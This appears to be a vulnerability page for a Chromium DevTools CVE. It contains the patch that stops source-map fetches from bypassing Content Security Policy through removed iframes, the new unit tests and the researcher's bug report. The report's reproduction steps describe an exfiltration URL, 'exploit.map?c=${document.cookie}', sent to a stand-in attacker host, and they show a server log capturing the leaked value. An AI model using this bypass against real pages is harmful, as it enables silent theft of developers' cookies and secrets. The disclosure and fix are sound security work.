CVE-2026-87629
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
iffront_end/core/sdk/PageResourceLoader.ts |
modified | |
forfront_end/core/sdk/PageResourceLoader.ts |
modified |
Files Changed
front_end/core/sdk/PageResourceLoader.test.tsfront_end/core/sdk/PageResourceLoader.ts
Patch
From 94bfd04bf58c052951ae7a834b6f42df7338ca5a Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Wed, 11 Mar 2026 08:56:45 -0700
Subject: [PATCH] Prevent CSP bypass in source map fetches via removed frames
Currently, DevTools only blocks its unsafe fallback mechanism for
source map requests if it receives a literal "CSP violation" error
from the target. An attacker can bypass this by triggering a fetch
from an injected iframe and immediately removing it. This causes the
primary load to fail with a "Frame not found" error, which
incorrectly triggers the fallback and bypasses the page's Content
Security Policy.
This CL addresses the issue by querying the frame's security posture
(via `Network.getSecurityIsolationStatus`) before initiating the fetch.
If a restrictive CSP (`connect-src` or `default-src`) is detected,
any failure from the target load is treated as a terminal security
failure, preventing the unsafe fallback mechanism from executing.
Bug: 490773579
Change-Id: I7293ba2f112a9cd4ab765dce6de8439afbb0f1b5
Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7656988
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Simon Zünd <szuend@chromium.org>
---
diff --git a/front_end/core/sdk/PageResourceLoader.test.ts b/front_end/core/sdk/PageResourceLoader.test.ts
index cba13d6..a5bcb8c 100644
--- a/front_end/core/sdk/PageResourceLoader.test.ts
+++ b/front_end/core/sdk/PageResourceLoader.test.ts
@@ -295,6 +295,94 @@
});
}
});
+
+ describe('loadResource with CSP', () => {
+ it('does not fall back to host bindings if frame has restrictive CSP', async () => {
+ const {loader, settings, targetManager} = setup();
+ settings.moduleSetting('cache-disabled').set(false);
+ const connection = new MockCDPConnection();
+
+ connection.setHandler('Network.getSecurityIsolationStatus', () => {
+ return {
+ result: {
+ status: {
+ csp: [{
+ effectiveDirectives: 'connect-src \'none\'',
+ isEnforced: true,
+ source: 'HTTP' as Protocol.Network.ContentSecurityPolicySource,
+ }],
+ },
+ },
+ };
+ });
+
+ connection.setHandler('Network.loadNetworkResource', () => {
+ return {
+ error: {
+ code: -32000,
+ message: 'Frame not found',
+ },
+ };
+ });
+
+ const target = createTarget({connection, targetManager});
+ const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+ const url = urlString`https://example.com/source.map`;
+
+ const loadHostBindingsStub =
+ sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource');
+
+ try {
+ await loader.loadResource(url, initiator);
+ assert.fail('Expected loadResource to throw');
+ } catch (e) {
+ assert.strictEqual(e.message, 'Frame not found');
+ }
+
+ // Verify fallback was NOT called
+ sinon.assert.notCalled(loadHostBindingsStub);
+ });
+
+ it('falls back to host bindings if frame has no restrictive CSP', async () => {
+ const {loader, settings, targetManager} = setup();
+ settings.moduleSetting('cache-disabled').set(false);
+ const connection = new MockCDPConnection();
+
+ connection.setHandler('Network.getSecurityIsolationStatus', () => {
+ return {
+ result: {
+ status: {
+ csp: [],
+ },
+ },
+ };
+ });
+
+ connection.setHandler('Network.loadNetworkResource', () => {
+ return {
+ error: {
+ code: -32000,
+ message: 'Frame not found',
+ },
+ };
+ });
+
+ const target = createTarget({connection, targetManager});
+ const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`};
+ const url = urlString`https://example.com/source.map`;
+
+ const loadHostBindingsStub =
+ sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource')
+ .callsFake((_url, _headers, streamId, callback) => {
+ Host.ResourceLoader.streamWrite(streamId, 'fallback content');
+ callback({statusCode: 200});
+ });
+
+ const result = await loader.loadResource(url, initiator);
+ assert.strictEqual(result.content, 'fallback content');
+ sinon.assert.calledOnce(loadHostBindingsStub);
+ });
+ });
});
describe('PageResourceLoader', () => {
diff --git a/front_end/core/sdk/PageResourceLoader.ts b/front_end/core/sdk/PageResourceLoader.ts
index bf4335c..6439842 100644
--- a/front_end/core/sdk/PageResourceLoader.ts
+++ b/front_end/core/sdk/PageResourceLoader.ts
@@ -334,6 +334,27 @@
initiator.target;
Host.userMetrics.developerResourceScheme(this.getDeveloperResourceScheme(parsedURL));
if (eligibleForLoadFromTarget) {
+ let mustEnforceCSP = false;
+ const isHttp = parsedURL.scheme === 'http' || parsedURL.scheme === 'https';
+ if (isHttp && initiator.target) {
+ const networkManager = initiator.target.model(NetworkManager);
+ if (networkManager) {
+ let status = await networkManager.getSecurityIsolationStatus(initiator.frameId);
+ if (!status && initiator.frameId) {
+ status = await networkManager.getSecurityIsolationStatus(null);
+ }
+ if (status?.csp) {
+ for (const csp of status.csp) {
+ const directives = csp.effectiveDirectives;
+ if (directives.includes('connect-src') || directives.includes('default-src')) {
+ mustEnforceCSP = true;
+ break;
+ }
+ }
+ }
+ }
+ }
+
try {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
@@ -341,7 +362,7 @@
} catch (e) {
if (e instanceof Error) {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
- if (e.message.includes('CSP violation')) {
+ if (mustEnforceCSP || e.message.includes('CSP violation')) {
return {
success: false,
content: '',
Original Bug Report
Fetching source maps can bypass `connect-src` CSP via a removed frame
VULNERABILITY DETAILS
Summary
Following the decision made in issue 361116749, sourceMappingURL requests should be blocked by the connect-src CSP directive.
However, this vulnerability allows an attacker to bypass CSP and send requests to their own server, even if the connect-src directive (or its fallback) forbids it.
Bisect and Root Cause Analysis
The check at PageResourceLoader.ts:344 only prevents the fallback if loadFromTarget fails specifically with a CSP violation error:
try {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
return result;
} catch (e) {
if (e instanceof Error) {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
if (e.message.includes('CSP violation')) {
return {
success: false,
content: '',
errorDescription: {
statusCode: 0,
message: e.message,
}
};
}
}
}
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FALLBACK);
Because the source map fetch is asynchronous, if the target frame is removed before loadNetworkResource, loadFromTarget will fail with a different error: Frame not found. When this happens, the fallback mechanism is still triggered, successfully sending the request to the attacker’s server.
The check for e.message was introduced in the following commit:
Attack Preconditions
The victim (most likely a developer) opens DevTools on a page controlled by the attacker via XSS
Impact Analysis
I believe this carries the same impact and severity as issue 361116749 (previous discussion regarding the impact can be found in comment #3). A remote attacker can abuse this vulnerability to bypass CSP and exfiltrate sensitive data to their server, despite restrictive connect-src or fallback directives.
Additionally, this behavior is completely silent; the user will not notice the request even if they check the DevTools Network panel.
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7692.0 canary.
REPRODUCTION CASE
- Create a directory structure like this with the attached file:
.
└── index.html
- Update your
/etc/hostsfile to resolvecross-origin.testto127.0.0.1. (Alternatively, change theATTACKER_URLinindex.htmlto your own server’s URL.) - Start a local web server in the directory. For example, using Python:
python3 -m http.server 1337
- Open
http://localhost:1337/with DevTools opened. index.htmlattempts to create aniframeusingsrcdoc, then usesiframe.contentDocument.writeto inject a script tag with asourceMappingURLpointing tohttp://cross-origin.test:1337/exploit.map?c=${document.cookie}. The iframe is removed immediately after the script tag is written. This ensures the iframe is removed and triggers the fallback mechanism with aFrame not founderror instead of aCSP violation.- Even though
index.html’s CSP:default-src 'none'; script-src 'unsafe-inline';does not allowhttp://cross-origin.test:1337, the source map request tohttp://cross-origin.test:1337/exploit.mapwill still be sent. The expected server log (using Python’shttp.server) should look like this:
$ python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
::1 - - [08/Mar/2026 17:02:21] "GET / HTTP/1.1" 200 -
::1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::1 - - [08/Mar/2026 17:02:21] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] "GET /exploit.map?c=secret%3Dflag%7Bcredentials_that_attackers_want_to_steal%7D&t=1772960541600 HTTP/1.1" 404 -
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
- http://cross-origin.test:1337
- http://cross-origin.test:1337/exploit.map
- http://cross-origin.test:1337/exploit.map?c=${document.cookie
- http://localhost:1337/
- https://issuetracker.google.com/issues/361116749
- https://source.chromium.org/chromium/_/chromium/devtools/devtools-frontend/+/5c8833cfccc90880d3dc648b64cc6786a48a2d0e
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=344;drc=a718fd59205c847882992a8aec65f5e23ed93a7c
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=414;drc=a718fd59205c847882992a8aec65f5e23ed93a7c